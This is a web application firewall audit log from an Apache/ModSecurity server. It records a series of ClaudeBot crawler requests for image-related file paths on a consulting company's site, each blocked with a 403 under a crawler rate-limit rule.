{"transaction":{"time":"13/Mar/2026:09:43:52.578173 +0100","transaction_id":"abPOSExHnLkyPWuTIW5cNAAAAYI","remote_address":"216.73.216.152","remote_port":43326,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Fproduct-bg.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"9693bb0f23ff008eab522f9a79eaccdb","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13633890"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"9693bb0f23ff008eab522f9a79eaccdb","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/product-bg.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":316,"p2":2626,"p3":0,"p4":0,"p5":502,"sr":158,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:52.668806 +0100","transaction_id":"abPOSOEAMg66iR7kG38gNgAAA04","remote_address":"216.73.216.152","remote_port":43306,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2Fespace_banniere.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"7ef4cfa8aa434987737ba99bc2ec2082","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6786719"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"7ef4cfa8aa434987737ba99bc2ec2082","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito2.jmkconsulting-ci.com/espace_banniere.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":299,"p2":2856,"p3":0,"p4":0,"p5":736,"sr":155,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:52.762952 +0100","transaction_id":"abPOSOEAMg66iR7kG38gOAAAA04","remote_address":"216.73.216.152","remote_port":43306,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2F3721429-removebg-preview+%281%29.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"73f3bd577d462adf4053226f5985bc75","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6786725"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"73f3bd577d462adf4053226f5985bc75","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/3721429-removebg-preview (1).png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":367,"p2":4475,"p3":0,"p4":0,"p5":454,"sr":132,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:52.851803 +0100","transaction_id":"abPOSExHnLkyPWuTIW5cOAAAAYg","remote_address":"216.73.216.152","remote_port":45050,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fdomaine2.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"fb5215cd4a1a775e8899964bde1632ac","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6786728"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"fb5215cd4a1a775e8899964bde1632ac","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/domaine2.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":369,"p2":2940,"p3":0,"p4":0,"p5":534,"sr":158,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:52.941814 +0100","transaction_id":"abPOSG-XEucyBza91ntl8QAAAxI","remote_address":"216.73.216.152","remote_port":46442,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fbanierre2.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"b3e1f9954410fb15a088c9139fa8b624","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6786731"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"b3e1f9954410fb15a088c9139fa8b624","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/banierre2.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":260,"p2":2610,"p3":0,"p4":0,"p5":428,"sr":132,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:53.033162 +0100","transaction_id":"abPOSeEAMg66iR7kG38gOgAAA04","remote_address":"216.73.216.152","remote_port":43306,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Frendu-3d-planete-terre.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"aecc534ede81f18a7ea17853064d14e3","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13239168"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"aecc534ede81f18a7ea17853064d14e3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/rendu-3d-planete-terre.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":308,"p2":2888,"p3":0,"p4":0,"p5":474,"sr":159,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:53.124265 +0100","transaction_id":"abPOSeEAMg66iR7kG38gOwAAA04","remote_address":"216.73.216.152","remote_port":43306,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fstore-product-2.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"ccd9766171029b7a28b40282979fa5a8","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13239171"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"ccd9766171029b7a28b40282979fa5a8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/store-product-2.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":312,"p2":3199,"p3":0,"p4":0,"p5":548,"sr":155,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:53.214604 +0100","transaction_id":"abPOSUxHnLkyPWuTIW5cOgAAAYA","remote_address":"216.73.216.152","remote_port":37258,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Ftresorier.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"667fbb02eb33c42a8a7a8c71a1fdc772","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12519904"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"667fbb02eb33c42a8a7a8c71a1fdc772","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/tresorier.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":318,"p2":2054,"p3":0,"p4":0,"p5":345,"sr":97,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:53.305192 +0100","transaction_id":"abPOSUxHnLkyPWuTIW5cOwAAAYA","remote_address":"216.73.216.152","remote_port":37258,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Fproduct-1.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"fd6cf518ae7b053115c9327fd0c9102e","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13239174"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"fd6cf518ae7b053115c9327fd0c9102e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/product-1.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":211,"p2":1812,"p3":0,"p4":0,"p5":411,"sr":103,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:53.396372 +0100","transaction_id":"abPOSUxHnLkyPWuTIW5cPAAAAYg","remote_address":"216.73.216.152","remote_port":45050,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Fcaroussel1.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"8d06990fcbf2c742b85bf05c6325616d","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12519910"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"8d06990fcbf2c742b85bf05c6325616d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/caroussel1.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":214,"p2":1764,"p3":0,"p4":0,"p5":298,"sr":96,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:53.487570 +0100","transaction_id":"abPOSUxHnLkyPWuTIW5cPQAAAYg","remote_address":"216.73.216.152","remote_port":45050,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Flogo.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"b95870c6ecb6bfd138164b62d53e4509","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7245780"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"b95870c6ecb6bfd138164b62d53e4509","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/logo.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":264,"p2":2544,"p3":0,"p4":0,"p5":442,"sr":135,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:43:53.578179 +0100","transaction_id":"abPOSVRY1ZHue1KnYxoqAwAAAoo","remote_address":"216.73.216.152","remote_port":40438,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fcarousel-1.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"13247a56b94d0fac0f5eb42f5e202256","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7245783"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"13247a56b94d0fac0f5eb42f5e202256","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/carousel-1.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":272,"p2":2541,"p3":0,"p4":0,"p5":442,"sr":142,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
